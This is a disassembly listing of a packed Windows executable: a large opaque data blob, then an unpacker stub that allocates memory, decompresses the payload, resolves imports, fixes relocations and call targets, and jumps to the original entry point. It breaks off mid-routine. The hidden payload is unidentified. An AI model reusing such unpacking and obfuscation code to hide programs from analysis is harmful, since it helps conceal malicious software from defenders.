		dd 79456D9Fh, 49489901h, 5F21554Eh, 23F0B17Fh, 4C461E94h
		dd 0B844A97Eh, 0AA626509h, 451A0565h, 691F8F4Fh, 87281A7Ah
		dd 561F6178h, 8FD18010h, 2B0D7245h, 0F86CE32Dh,	2048541Dh
		dd 0B5979883h, 149F505Ah, 5052E041h, 0CF70C433h, 340774F8h
		dd 82508A2Dh, 6C666979h, 28389B8Ah, 9E5E958Dh, 0DF704938h
		dd 42316E10h, 0A53931C5h, 64065F4Ch, 0F486487Ah, 4E6F4306h
		dd 0ED5A7547h, 0B77846CAh, 98332284h, 6F3F6284h, 9254D867h
		dd 6A6A64F0h, 0CA987A75h, 69D0263Ch, 9338040Ah,	2D770A59h
		dd 24629334h, 24981207h, 506A8430h, 4314A028h, 5BD4304Bh
		dd 0ED782569h, 9FE379F2h, 0C4656821h, 0D47076F5h, 0F741F8FAh
		dd 0CEBD6817h, 0E82B70E5h, 0B405928Eh, 140B4754h, 792B0673h
		dd 31323147h, 57495019h, 9BCC4AFAh, 0CD8C2273h,	20AA2110h
		dd 0FCAA4F68h, 0D4B858DFh, 5A2E91BAh, 99C6A14h,	60124544h
		dd 0CA392C4Bh, 0DE98C86Bh, 54AF55A5h, 75D3FBB7h, 0A02A4174h
		dd 2D4D2B89h, 4652E987h, 28B10C56h, 446442B2h, 3CDADA40h
		dd 4B418E22h, 8C84A343h, 595052ACh, 0DAC34A08h,	24484349h
		dd 28B454D8h, 0AC8DD90Dh, 0F02AF73h, 7BCC9593h,	4E8B76BDh
		dd 55074F09h, 4D93CE4Eh, 0D06560Bh, 54644DD0h, 61D8C39Ch
		dd 0C4F40249h, 0A0D53732h, 7F38AB4Bh, 636DADE4h, 3B88E16h
		dd 52D54045h, 33E83534h, 1932D3EBh, 0E4633C4Bh,	4B9782F7h
		dd 43792850h, 4D454AFAh, 72DA4725h, 49D6582Ch, 81AF9264h
		dd 3F754490h, 7C9D64BCh, 72DE186Bh, 4ADA6BE6h, 78665A6Dh
		dd 0E074F80Fh, 68556FC9h, 0A2754CA2h, 6E3904B9h, 793D83F8h
		dd 0C59C354Ah, 6AFC8C23h, 6F5158DCh, 51D86228h,	0B8021074h
		dd 63D89976h, 909DB635h, 9A79D072h, 0AC33CA24h,	0A47A3A64h
		dd 644D9068h, 0AE78B266h, 984C88B6h, 6D009672h,	73044C50h
		dd 74CC775Fh, 3180CD43h, 4B7292BCh, 925A4709h, 86AF89BCh
		dd 989179AFh, 6324E543h, 59452A4Ch, 0B0787134h,	66CCCD5Eh
		dd 71A26058h, 5435C9D9h, 887349D1h, 4E09C87Bh, 56224291h
		dd 89584344h, 244C125Ah, 914A484Bh, 44472248h, 53894446h
		dd 4F245012h, 68A05548h, 55095468h, 5719F829h, 62125109h
		dd 7A487824h, 68226C91h, 89666744h, 25791264h, 0C9ACFD77h
		dd 2F935F25h, 0D2623482h, 3484FBD5h, 7F1C2D20h,	22854BB9h
		dd 135FB68h, 0C97C86F9h, 0FB0F311Ch, 0E305304Dh, 323A182Ah
		dd 607C2D00h, 5B7B5C5Fh, 2D34965Dh, 0BD54AC76h,	6E85059h
		dd 0A8BD8000h, 0B7D8AAFh, 0F4BE11C9h, 2998235Fh, 0AC315E89h
		dd 1835AA50h, 0E7DFFB80h, 1B00070h, 59CA9752h, 0A83811D0h
		dd 0C9A005D5h, 0FB27800Dh, 55B52600h, 0C137001Dh, 79AB46C5h
		dd 2A088F63h, 0A569E868h, 0D8D66462h, 756B14EDh, 7CC9FAC0h
		dd 0FDCA6321h, 0E6242C73h, 0E12C0624h, 0F9D2CA25h, 1A2567C7h
		dd 0DD7ADEDh, 0A13A12C5h, 0ECE87B0Ch, 467540A2h, 1766716Dh
		dd 0AE3A0A0Dh, 12A5B4C9h, 229A22FEh, 16108D50h,	343BA861h
		dd 0BD1024B6h, 275A686Ah, 0ADCE73D1h, 0BB2A1794h, 38F68013h
		dd 2D47A9D2h, 5996D561h, 0BFC4EFEFh, 0DE4F17DBh, 27994B68h
		dd 0E82D246Ah, 1AB5D2E4h, 2879A804h, 93A8AC6Bh,	0BDCC7F2h
		dd 0E84395DCh, 9333FFA4h, 0C41129CCh, 23BC910Ch, 23AC91B4h
		dd 229C91A4h, 8C014494h, 2128489h, 6C487824h, 0C0350396h
		dd 2944A2EBh, 116E0C64h, 855D502Fh, 8366450h, 0D9D6BF21h
		dd 54B80868h, 727B6110h, 2111DA86h, 4258EBFDh, 20410860h
		dd 0D068A87Fh, 80D7D208h, 11B564CAh, 9358A3EBh,	0E13652ABh
		dd 0D9F5DA62h, 3ADDAD8Bh, 0AC241C7Eh, 862FA624h, 86DEB528h
		dd 14FC2D65h, 695074E4h, 6EE09724h, 3EE899AFh, 7563F072h
		dd 644A4844h, 3396AEB9h, 8FFC68F8h, 549A7ABBh, 5991CEA6h
		dd 0D1202E15h, 61D2DEA2h, 0F1EEDD65h, 1F87FFDh,	2D241FE4h
		dd 4A781375h, 0D5F1BD22h, 631097D9h, 9EA29632h,	6D51699Fh
		dd 6344D62Eh, 0A0DA1484h, 1CA54A7Ch, 802E5221h,	0D7C57E4h
		dd 3AD56B11h, 0C1BFB65Dh, 43BFB67Eh, 0E0B2D32Ch, 0F84AAE47h
		dd 0FD4CA6A9h, 0F5612442h, 0D3F799B2h, 76B2B261h, 305585B3h
		dd 1BD5D71Fh, 384B3622h, 249E5AACh, 0A2947208h,	428E668Eh
		dd 52B44199h, 0BA5BB03Fh, 200FCB29h, 9D65642Ch,	0B848746Eh
		dd 8B6136BEh, 1B725734h, 3A611A67h, 0F7F6A540h,	448546F3h
		dd 1E3E69A4h, 85855A9Ch, 0E490402Fh, 0EAADAAB4h, 41B8E590h
		dd 0DEE32BFBh, 0B1634877h, 6F4425A9h, 26ADFEB8h, 2F9DF520h
		dd 2C6C223Fh, 0DABFA493h, 0AE763514h, 0DD4E1CB2h, 0E51422F4h
		dd 450BA6FFh, 28811BC4h, 9B91E477h, 7A62A04Ch, 0D751A375h
		dd 0F40AB249h, 0EADABEC7h, 0A1436D38h, 96A6C89h, 6B5D70E1h
		dd 5C8CDC38h, 2A539D41h, 0FDDA41A4h, 0DCB4A573h, 2A528C2Fh
		dd 0B69269CBh, 0E9286BDCh, 9CC98C93h, 244AB305h, 0F5AB5AF9h
		dd 0A173E5D7h, 0F143AA30h, 2593D922h, 69DB4935h, 0AFA75C95h
		dd 0FF794BEEh, 0AB877C4Ch, 0A11A5DA5h, 9A5F2C09h, 0E9E74571h
		dd 4DD43AD7h, 0EB34A1E8h, 0AB8D67F5h, 0DF78F3C0h, 349E0D9Fh
		dd 0AAF42836h, 0B4547711h, 6A3399EFh, 0B56EF089h, 696477C2h
		dd 52645416h, 0C31183Ah, 6B282652h, 32ADB218h, 33A8EA18h
		dd 0BDA6FC0Ch, 746B0B41h, 669422CCh, 18DA83D0h,	34BAD54Dh
		dd 76BD6EBCh, 3A74CCB3h, 0BCA428E1h, 72612568h,	78B9A21Eh
		dd 76415D53h, 0CFF540D1h, 0B6516BC4h, 31DCF5C2h, 14536F34h
		dd 8D0632AAh, 0EB0B7536h, 4E5A2F70h, 9D59CA0Ah,	0B7CF4C21h
		dd 42148ABEh, 96806B53h, 1D5355C8h, 99F8E86Fh, 76A45203h
		dd 0D4721208h, 3F016D0Ah, 7F930B11h, 630C4465h,	0E8ECEA50h
		dd 40FCB775h, 37DAEF68h, 2530A3D4h, 20AF9936h, 50482423h
		dd 2A1D09DAh, 0D72FA21Ah, 0D43A163Ah, 741938D6h, 3D9D5078h
		dd 6BA53A57h, 4D8240F9h, 642E7861h, 0F3789D15h,	38999CD3h
		dd 27DF4C3Fh, 85954C52h, 17627574h, 0E8F1D543h,	57BE2B24h
		dd 6C573528h, 6589A5BEh, 287E22EFh, 1AB51453h, 7D4E7749h
		dd 0CC981486h, 9EB6C4BFh, 8E3B2232h, 4A6E5210h,	0AB5D4E2Fh
		dd 0FCFB2BC3h, 617365DBh, 0DE614260h, 0A138E577h, 231AA181h
		dd 0B4419414h, 724928E6h, 47724910h, 24E25F8Ah,	4539FE5Bh
		dd 495729A5h, 102F465Ch, 0CAD362AAh, 0BEF06EEAh, 1713DD6Dh
		dd 0D4554782h, 0BB55677Ch, 414A04E6h, 36089BBAh, 86B2B043h
		dd 24535589h, 97119CE2h, 14E2EC92h, 1A264A55h, 0B588FF11h
		dd 2A1CEDB9h, 9F94A0E8h, 0BBDDEF9Ch, 4D2EA2DCh,	2E619EBCh
		dd 9A095244h, 8A59628Bh, 0C66709A5h, 3F3A916Ah,	0F0D0D47Fh
		dd 0A2C723E9h, 257A6555h, 0DEE6A1B2h, 868252B8h, 3A17A473h
		dd 0AC4B88E7h, 0DB95F5E3h, 935DF2EEh, 9A61EC50h, 691AE793h
		dd 37872C96h, 75953822h, 0AFC59C32h, 694CEDE9h,	14BD904Eh
		dd 350EB18Dh, 9EF7FA12h, 28A36C5Ch, 0B68B6A5Ch,	0F6D6F3C0h
		dd 0D875DAC5h, 79632BF0h
		dd 0AA3292Fh, 0EB98292Eh, 593192DDh, 86644958h,	4EEC5BE5h
		dd 232AD174h, 0A56D2445h, 73489292h, 0AD7CFBFFh, 26D1E1E4h
		dd 86A19285h, 64254E29h, 0B26B355Eh, 25B354E2h,	1912DFBAh
		dd 8E0F089Ah, 0AE9F75FEh, 0E45569E2h, 0BA68094Bh, 75D24E4Dh
		dd 0FA6552A2h, 25B16884h, 0CA69AE23h, 5AADF214h, 0C9F34497h
		dd 96F56269h, 54719CDBh, 0ED5574BFh, 0B4AD6F4Ch, 0DDEDE1DBh
		dd 44E80CE4h, 54A33EF5h, 0A5CB759h, 4B2429A5h, 49C8D0CFh
		dd 36AA93B6h, 4E51254Ch, 75E8856Fh, 4CFD6867h, 6ADAD894h
		dd 196CF16h, 4DE1C5CBh,	423E6651h, 0A4564967h, 0FA0BB829h
		dd 183E2E25h, 9F3C1AD0h, 1D4D70ACh, 0DF52F86Bh,	2CC88DECh
		dd 0F87E6D59h, 0CBFBE40Eh, 0C48C4EF7h, 88BF330h, 6878A3D8h
		dd 91BC09C8h, 44A422B0h, 78898898h, 4C246012h, 34914048h
		dd 1C442822h, 11048910h, 0E802A2F4h, 0D048DC24h, 0B422C491h
		dd 8898A844h, 72E23169h, 6E34351Ch, 7E806EA5h, 0D755769h
		dd 0A533641Ch, 10A19B71h, 0A70B7294h, 0D21B70Ah, 0A0795D49h
		dd 19DA0DA2h, 0FC0C1269h, 54D13B1h, 63505873h, 9A8F6234h
		dd 366C14ECh, 0A1215089h, 56323373h, 59D920Ch, 4120643Dh
		dd 0B542534Dh, 40547005h, 63736D0Ch, 24A66276h,	685CFEB7h
		dd 0CCC3493Ch, 45564198h, 1E8267ECh, 66631484h,	3962D67h
		dd 6D6B73DEh, 7A1AF244h, 0C0EA10DAh, 0A66D72C1h, 40F6FD28h
		dd 0D07770BCh, 21A694AAh, 7A690E8Eh, 191F8834h,	1D3BF86Dh
		dd 0E74153Ah, 7CFBAC55h, 3094A5A8h, 676966A4h, 619C40ACh
		dd 1CA1BA24h, 2F9A7325h, 0BDD0947Fh, 37CFC47Ch,	7D158BBBh
		dd 8D5AEE95h, 0CE7CC924h, 0BD241E5Ah, 2CC85C7Eh, 0BD3A066Ch
		dd 0DD988FEh, 0F4E4FD7Ah, 3A4B29AEh, 0C92EDB8Dh, 23F0460h
		dd 0A0D2E40h, 5053309Ch, 92E95C17h, 519DF7ABh, 29BA2ACCh
		dd 0B6580B40h, 0A5308762h, 49F8F9FEh, 88739D4Fh, 78FBF572h
		dd 0D74CF74Bh, 11899B8Ah, 80098459h, 940879A5h,	74C80878h
		dd 6C097099h, 44216812h, 24035C3Ah, 11DF307Eh, 11417DA2h
		dd 754E494Dh, 0C20E5051h, 6BD0D3F7h, 0A5164775h, 0B493BD1h
		dd 58C6DFA7h, 0B5302E52h, 8C63358Dh, 0EE976658h, 0E87BC199h
		dd 2309FD64h, 53391F3Ch, 544736D2h, 14B68DD2h, 88503B21h
		dd 73115573h, 74B17BBDh, 0EAB4F80Fh, 4D52F19Eh,	0A18B575Ah
		dd 0D6AB2C09h, 0E37167CDh, 2E1F0A6Bh, 2832DA3Ch, 0EC6B97F1h
		dd 534689F9h, 0ABD7C44Eh, 3E42FC8Eh, 64E43C46h,	726DAC24h
		dd 5E6D793Ah, 0C07FB784h, 0B778442Dh, 2168B48Fh, 23DE67A5h
		dd 2444C550h, 0FB28251Bh, 9158E9E7h, 14041541h,	52DD389Fh
		dd 25653164h, 6A53163h,	2456105Ch, 0AD57B6B0h, 5AECABEDh
		dd 0B895541Ah, 0C72F72C4h, 17896E55h, 0DC6C6ABAh, 0BE6E7524h
		dd 7C48385Dh, 6D892FE9h, 6294D00Bh, 0A8F57752h,	54531F30h
		dd 71EF2FD3h, 3E0D3075h, 0AB966AF2h, 64350F2Eh,	5ED08B28h
		dd 1F2C74ABh, 0C8459A5Bh, 247425AFh, 14620F50h,	0AF2F7469h
		dd 5355157Dh, 0FEA71141h, 1261159Eh, 61E7B0B4h,	0D0386753h
		dd 2778CD4h, 0D950972Eh, 60A6EF94h, 0E46A273Dh,	0FD794B60h
		dd 410F433Ch, 9FC16B20h, 997A7974h, 641000C3h, 0BFD06131h
		dd 4A109011h, 696C7F03h, 9C87BC62h, 4146665Dh, 8228868Bh
		dd 68D40315h, 0BE1ACD75h, 34594208h, 0F73C866Ch, 6E79968Eh
		dd 5FD3BABEh, 3C471445h, 0FE25ADCAh, 0A748C8BAh, 2533C0A5h
		dd 2893F122h, 3F753EFCh, 8565173h, 12906220h, 30168382h
		dd 248752D6h, 540E0CDDh, 1430F14Eh, 6FD03331h, 0E117E4Fh
		dd 5410411Fh, 0E0BA101Ah, 4F5BE9F4h, 6264EC0Ah,	78421448h
		dd 1E61926Fh, 706950C4h, 2F10D464h, 836C75A4h, 75BB6CA0h
		dd 50363068h, 6356D8CFh, 0E944DC68h, 87319610h,	4E1F4A9Fh
		dd 668E7C14h, 75893CB5h, 0A2BC2808h, 3C6C53FEh,	5F5A6C6Fh
		dd 0B05C7D2Bh, 9160C469h, 5043840Ah, 49CF8855h,	75343601h
		dd 2E7A484Dh, 236222AFh, 0BDC1109h, 6DEA5927h, 0AFD62A19h
		dd 4BCB9D3Dh, 72EEFACh,	990D3769h, 99292E32h, 2ECD1E38h
		dd 42448906h, 53BC8F75h, 489A12E8h, 0FBB42678h,	1DCB4122h
		dd 5D667F48h, 47293AF3h, 0B2D52BA5h, 8E49F849h,	0E372B529h
		dd 54100C8Ch, 55B06D69h, 0EAE7470h, 0E9E348A4h,	2202BF4Dh
		dd 9563E079h, 2F1597D5h, 0A5C496h, 235E5EADh, 0B08FC980h
		dd 64F741ABh, 68A7874Dh, 7FF82568h, 0DAE74CE0h,	2580A7Dh
		dd 70752D07h, 0F56F490Fh, 9497AF14h, 957F9558h,	847EA758h
		dd 0A79ADF72h, 2E1537D9h, 72E2B430h, 0AFC735D6h, 5C47C6DAh
		dd 559DDC96h, 2E4C5215h, 0C46AA978h, 0E6FBE889h, 68C29C59h
		dd 2482DE84h, 74300D2Bh, 0C1E52F2Ah, 98BC2804h,	890DFF08h
		dd 2EB1251h, 750B0201h,	0C3020A4h, 5F38082Eh, 0D02CB30Ah
		dd 173FE101h, 98750888h, 24127311h, 3B3C0AD1h, 1B3F6304h
		dd 5202005h, 2F6D1993h,	5BC1A2C0h, 10E8C841h, 501510A6h
		dd 230443AEh, 1FF9468h,	0F139F0CCh, 0AA014AE1h,	46AEA4AAh
		dd 1001E01Ch, 83CE8220h, 20022B04h, 2D28E402h, 48E715FAh
		dd 217B1004h, 22347A84h, 0C8028152h, 40A15F01h,	22C82C5h
		dd 31FA8502h, 1432203Ch, 0ADEAF4AAh, 0E0890F4h,	0D4277A8h
		dd 2F00998h, 1C085004h,	600340A4h, 29798239h, 0A68A2C21h
		dd 0A14208DFh, 9F8130A5h, 4FCE021h, 33807E40h, 0C1610EA8h
		dd 6A52DAA3h, 0FE811158h, 6508408Ah, 0C8302EB5h, 43B6E441h
		dd 93E4A2CFh, 0B3E5831Ah, 355BC2E8h, 0A15490A0h, 563510Ah
		dd 965EDA09h, 785F76C0h, 0E032426Ah, 20DED8D3h,	3135F9E0h
		dd 0C28747Eh, 4C028916h, 8A60304h, 89180444h, 240D1205h
		dd 91094806h, 470C2207h, 94092308h, 0BC81C0Ah, 3C4D1679h
		dd 990F0802h, 144C1058h, 4D128911h, 21180204h, 104C3539h
		dd 43478E41h, 94345029h, 53CA1852h, 32576508h, 7C995960h
		dd 6D184C6Ch, 2B3EAB1h,	1C092270h, 29AC7257h, 80953006h
		dd 881CAB4h, 20328265h,	4C843983h, 29899148h, 10999E12h
		dd 0A4905CA1h, 0A74770A6h, 94A0B72Bh, 0D7C820CEh, 4C0718E2h
		dd 920040Ch, 5D5D0D2Dh,	14E68824h, 785C2609h, 111D1978h
		dd 221A1258h, 1B04C60Ch, 1F21504Ch, 11914889h, 44402213h
		dd 0E893821h, 74283012h, 9910281Ah, 0C4E32058h,	10531833h
		dd 11C87CB0h, 220C911Eh, 20084412h, 0C120489h, 477FC22h
		dd 91F4480Bh, 44EC2215h, 1989E41Ch, 1124DC12h, 1891D448h
		dd 1644CC22h, 121789C4h, 482224BCh, 222391B8h, 0B02444B4h
		dd 0F001108Ah, 0F80CE17Fh, 0EF29FF46h, 0B97FA710h, 8588076h
		dd 0E0447010h, 4014AC01h, 4F291330h, 1C790442h,	0FC5C90F2h
		dd 454F92Dh, 0BC0E845h,	231D4533h, 96900419h, 8248DF2h
		dd 431E8E72h, 7990C88Fh, 92210F91h, 33C93E4h, 0A91E89Bh
		dd 0DE848C22h, 82F41AD5h, 66427BA0h, 117464FCh,	0A0484809h
		dd 93247828h, 7AF809A0h, 0E2C85831h, 0A478984Ch, 781EE093h
		dd 40C76824h, 0E7803389h, 0E010B089h, 0A8788C79h, 8019A093h
		dd 70127811h, 6022712Fh, 89507A44h, 75EC12FCh, 46FF6841h
		dd 20142148h, 0DAB04DC0h, 0DFDB7F11h, 74CB1045h, 54D5BF93h
		dd 349630DBh, 0BE80F21Ch, 265394F8h, 16954D09h,	2C09FC01h
		dd 6F184C35h, 3CB0940h,	648109B1h, 38961844h, 7F4A20C4h
		dd 2A07041h, 100C4057h
		dd 0FAE105C8h, 21790B08h, 50610C9Ch, 80B0FC3h, 5012F424h
		dd 98219680h, 0BC204016h, 28C19BEh, 1BC9BF04h, 0A110348Eh
		dd 0CECC3DEDh, 4ED3C28Fh, 9EF02080h, 2B0370B5h,	9DC5ADA8h
		dd 5DD0E069h, 0E52500FDh, 194F8E1Ah, 71F883EBh,	95D79600h
		dd 8D050E43h, 9EAF3E29h, 0A0BFF900h, 1281ED44h,	823E8F73h
		dd 3C007BB9h, 0FFCFA6D5h, 0DF781F49h, 0C66F007Ah, 80E98CE0h
		dd 0BA47C900h, 0BC41A893h, 556B0085h, 0F78D3927h, 7C3EE070h
		dd 8EDD0042h, 0FB9DF9DEh, 0AA7E00EBh, 0E6A14351h, 0CC00E376h
		dd 842F29F2h, 3442681h,	0AA171028h, 0E3A8AEF8h,	0FA7CC4C5h
		dd 0D4A7EB07h, 0E150F7F3h, 957A4Ah, 0CC6545CFh,	0A60E91C7h
		dd 19A0AE01h, 0D46A3E3h, 1C0C17F4h, 0C0868175h,	4D48C976h
		dd 0E4004258h, 3B3993A7h, 3EB2B835h, 0EFA53EDh,	0C53D5DE5h
		dd 9E8B417Fh, 0E8FF5A92h, 0A158F0A6h, 0A55400E9h, 0D161378Ch
		dd 5A8B39FDh, 5D25D800h, 67DBF989h, 0F895AA00h,	0A2BF27F3h
		dd 0DDFAC8h, 0C94C6E80h, 8A20979Bh, 60520202h, 107525C4h
		dd 4D0CCCDh, 3FFB8001h,	140A3D71h, 570A3D7h, 5A00F83Eh
		dd 4FDF3B64h, 6E0F978Dh, 80F58312h, 652CD3C3h, 58E20319h
		dd 0F1D1B717h, 230FD0E0h, 1B47841Ch, 0A7C5AC83h, 0A640E0EEh
		dd 6C6900B6h, 37BD05AFh, 33F8EB86h, 42BC3D00h, 94D5E57Ah
		dd 0E7D63EBFh, 40FDC21Ch, 118461CEh, 0AB3ECC77h, 4C2F00E4h
		dd 0C44DE15Bh, 95940FBEh, 928FC9E6h, 753B5300h,	147ECD44h
		dd 0AF9A3Eh, 94BA67DEh,	1DAD4539h, 0FECFB11Eh, 0C6232403h
		dd 3BF8BCE2h, 8B3E6131h, 5500747Ah, 0B17EC159h,	3E127C53h
		dd 0D7005FBBh, 68D2FEEh, 850D92BEh, 4844FB15h, 73E9A5F8h
		dd 0EA270739h, 0C02AA87Fh, 0E4A1AC7Dh, 7C64BC00h, 55DDD046h
		dd 7B63003Eh, 5423CC06h, 0FF0E8377h, 603D8191h,	7A193AFAh
		dd 43250063h, 3CACC031h, 0D1038921h, 97478238h,	0D7FD80B8h
		dd 88DC003Bh, 0B11B0858h, 861FE3E8h, 0C60003A6h, 7424584h
		dd 759900B6h, 3A2EDB37h, 1C1E7133h, 320023D2h, 5A9049EEh
		dd 87A60039h, 0DA57C0BEh, 0A2F082A5h, 0E232B500h, 0A711B268h
		dd 449F0052h, 2C10B759h, 0E4004925h, 4F34362Dh,	7BCEAE53h
		dd 598F006Bh, 0DEC0A404h, 0FB007DC2h, 9E1EC6E8h, 5A88E7h
		dd 0BF3C9157h, 18228350h, 654B4E07h, 8F80FD62h,	309406AFh
		dd 0DE5C117Dh, 0D200CE9Fh, 0A6DD04C8h, 4BEC0AD8h, 2EAC307Ch
		dd 5612413Fh, 53BA7865h, 38A1FCE8h, 18A7F040h, 8BFE7C2Dh
		dd 0F8D45F63h, 74734040h, 293DDC64h, 7FDE920h, 66475F9Ch
		dd 0ED4ADF3Bh, 401E2132h, 8DC9E4B5h, 6944A341h,	5A9FF077h
		dd 0A5CEB55Fh, 15408B3Bh, 0C07610h, 0
		dd 0E0017027h, 0DC09C89Ch, 11022188h, 8F902233h, 0CCD701h
		dd 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		call	$+5
		mov	ebp, [esp+24h+var_24]
		add	esp, 4
		cmp	[esp+20h+arg_4], 1
		jnz	short loc_4FA4AF
		mov	eax, [esp+20h+arg_0]
		mov	[ebp+43Ch], eax
		jmp	short loc_4FA4BB
; ---------------------------------------------------------------------------


loc_4FA4AF:				; CODE XREF: start+11j
		mov	eax, [ebp+438h]
		mov	[ebp+43Ch], eax


loc_4FA4BB:				; CODE XREF: start+1Dj
		lea	esi, [ebp+460h]
		lea	ebx, [ebp+2EBh]
		xor	edi, edi
		call	sub_4FA620
		jmp	short loc_4FA4EB
; ---------------------------------------------------------------------------


loc_4FA4D0:				; CODE XREF: start+5Fj
		mov	eax, [ebp+43Ch]
		push	dword ptr [edi+esi+4]
		add	[esp+24h+var_24], eax
		push	dword ptr [edi+esi]
		add	[esp+28h+var_28], eax
		call	ebx
		add	esp, 8
		add	edi, 8


loc_4FA4EB:				; CODE XREF: start+3Ej
		cmp	dword ptr [edi+esi], 0
		jnz	short loc_4FA4D0
		cmp	dword ptr [ebp+448h], 0
		jz	short loc_4FA508
		cmp	dword ptr [ebp+44Ch], 0
		jz	short loc_4FA508
		call	sub_4FA6C0


loc_4FA508:				; CODE XREF: start+68j	start+71j
		lea	esi, [edi+esi+4]
		push	ebx
		push	40h
		push	1000h
		push	760h
		push	0
		call	dword ptr [ebp+3D1h]
		mov	[ebp+45Ch], eax
		pop	ebx
		push	dword ptr [ebp+45Ch]
		push	esi
		call	ebx
		add	esp, 8
		mov	esi, [ebp+45Ch]
		mov	eax, esi
		jmp	short loc_4FA53F
; ---------------------------------------------------------------------------


loc_4FA53E:				; CODE XREF: start+B2j
		inc	eax


loc_4FA53F:				; CODE XREF: start+ACj
		cmp	byte ptr [eax],	1
		jnz	short loc_4FA53E
		inc	eax
		mov	edi, [eax]
		add	edi, [ebp+43Ch]
		add	eax, 4
		mov	[ebp+458h], eax
		jmp	loc_4FA5EF
; ---------------------------------------------------------------------------


loc_4FA55B:				; CODE XREF: start+162j
		push	esi
		call	dword ptr [ebp+3C9h]
		test	eax, eax
		jz	loc_4FA61E
		mov	[ebp+454h], eax
		mov	eax, esi
		jmp	short loc_4FA5CF
; ---------------------------------------------------------------------------


loc_4FA574:				; CODE XREF: start+13Dj start+142j
		mov	eax, [ebp+458h]
		mov	eax, [eax]
		test	eax, 80000000h
		jz	short loc_4FA597
		xor	eax, 80000000h
		push	eax
		mov	eax, [ebp+458h]
		mov	dword ptr [eax], 202020h
		jmp	short loc_4FA59D
; ---------------------------------------------------------------------------


loc_4FA597:				; CODE XREF: start+F1j
		push	dword ptr [ebp+458h]


loc_4FA59D:				; CODE XREF: start+105j
		push	dword ptr [ebp+454h]
		call	dword ptr [ebp+3CDh]
		test	eax, eax
		jz	short loc_4FA61E
		mov	[edi], eax
		add	edi, 4
		mov	eax, [ebp+458h]
		jmp	short loc_4FA5BB
; ---------------------------------------------------------------------------


loc_4FA5BA:				; CODE XREF: start+12Ej
		inc	eax


loc_4FA5BB:				; CODE XREF: start+128j
		cmp	byte ptr [eax],	0
		jnz	short loc_4FA5BA
		inc	eax
		mov	[ebp+458h], eax
		cmp	word ptr [eax+2], 8000h
		jz	short loc_4FA574


loc_4FA5CF:				; CODE XREF: start+E2j
		cmp	byte ptr [eax],	0
		jnz	short loc_4FA574
		jmp	short loc_4FA5D7
; ---------------------------------------------------------------------------


loc_4FA5D6:				; CODE XREF: start+14Aj
		inc	esi


loc_4FA5D7:				; CODE XREF: start+144j
		cmp	byte ptr [esi],	0
		jnz	short loc_4FA5D6
		inc	esi
		inc	eax
		mov	edi, [eax]
		add	edi, [ebp+43Ch]
		add	eax, 4
		mov	[ebp+458h], eax


loc_4FA5EF:				; CODE XREF: start+C6j
		cmp	byte ptr [esi],	1
		jnz	loc_4FA55B
		push	4000h
		push	760h
		push	dword ptr [ebp+45Ch]
		call	dword ptr [ebp+3D5h]
		call	sub_4FA650
		call	sub_4FA73C
		popa
		jmp	sub_41E1D3
; ---------------------------------------------------------------------------


loc_4FA61E:				; CODE XREF: start+D4j	start+11Bj
		popa
		retn
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_4FA620	proc near		; CODE XREF: start+39p
		pusha
		mov	eax, [ebp+43Ch]
		add	eax, [eax+3Ch]
		add	ax, [eax+14h]
		add	eax, 18h
		mov	ebx, [eax+0Ch]
		add	ebx, [ebp+43Ch]
		mov	ecx, [eax+8]
		lea	eax, [ebp+434h]
		push	eax
		push	40h
		push	ecx
		push	ebx
		call	dword ptr [ebp+3D9h]
		popa
		retn
sub_4FA620	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FA650	proc near		; CODE XREF: start+17Ep
		pusha
		mov	esi, [ebp+440h]
		or	esi, esi
		jz	short loc_4FA6BE
		mov	edi, [ebp+438h]
		mov	eax, [ebp+43Ch]
		cmp	eax, edi
		jz	short loc_4FA6BE
		add	esi, eax
		jmp	short loc_4FA6B9
; ---------------------------------------------------------------------------


loc_4FA66F:				; CODE XREF: sub_4FA650+6Cj
		mov	edx, [esi]
		mov	eax, [esi+4]
		mov	[ebp+444h], eax
		add	[ebp+444h], esi
		add	esi, 8
		jmp	short loc_4FA6B1
; ---------------------------------------------------------------------------


loc_4FA685:				; CODE XREF: sub_4FA650+67j
		movzx	eax, word ptr [esi]
		mov	ebx, eax
		shr	ebx, 0Ch
		mov	ecx, ebx
		imul	ebx, 1000h
		sub	eax, ebx
		add	eax, edx
		add	eax, [ebp+43Ch]
		cmp	ecx, 3
		jnz	short loc_4FA6AE
		sub	[eax], edi
		mov	ecx, [ebp+43Ch]
		add	[eax], ecx


loc_4FA6AE:				; CODE XREF: sub_4FA650+52j
		add	esi, 2


loc_4FA6B1:				; CODE XREF: sub_4FA650+33j
		cmp	esi, [ebp+444h]
		jb	short loc_4FA685


loc_4FA6B9:				; CODE XREF: sub_4FA650+1Dj
		cmp	dword ptr [esi], 0
		jnz	short loc_4FA66F


loc_4FA6BE:				; CODE XREF: sub_4FA650+9j
					; sub_4FA650+19j
		popa
		retn
sub_4FA650	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FA6C0	proc near		; CODE XREF: start+73p
		pusha
		mov	esi, [ebp+448h]
		add	esi, [ebp+43Ch]
		mov	edi, esi
		mov	ecx, [ebp+44Ch]
		cmp	dword ptr [ebp+450h], 0
		jz	short loc_4FA712
		jmp	short loc_4FA70B
; ---------------------------------------------------------------------------


loc_4FA6E0:				; CODE XREF: sub_4FA6C0+4Ej
		cmp	byte ptr [esi],	0E8h
		jz	short loc_4FA6EA
		cmp	byte ptr [esi],	0E9h
		jnz	short loc_4FA709


loc_4FA6EA:				; CODE XREF: sub_4FA6C0+23j
		mov	eax, [esi+1]
		cmp	al, [ebp+450h]
		jnz	short loc_4FA703
		mov	al, 0
		bswap	eax
		sub	eax, 5
		add	eax, edi
		sub	eax, esi
		mov	[esi+1], eax


loc_4FA703:				; CODE XREF: sub_4FA6C0+33j
		add	esi, 4
		sub	ecx, 4


loc_4FA709:				; CODE XREF: sub_4FA6C0+28j
		inc	esi
		dec	ecx


loc_4FA70B:				; CODE XREF: sub_4FA6C0+1Ej
		cmp	ecx, 0
		ja	short loc_4FA6E0
		jmp	short loc_4FA73A
; ---------------------------------------------------------------------------


loc_4FA712:				; CODE XREF: sub_4FA6C0+1Cj
		cdq
		jmp	short loc_4FA735
; ---------------------------------------------------------------------------


loc_4FA715:				; CODE XREF: sub_4FA6C0+78j
		inc	edx
		cmp	byte ptr [esi],	0E8h
		jz	short loc_4FA720
		cmp	byte ptr [esi],	0E9h
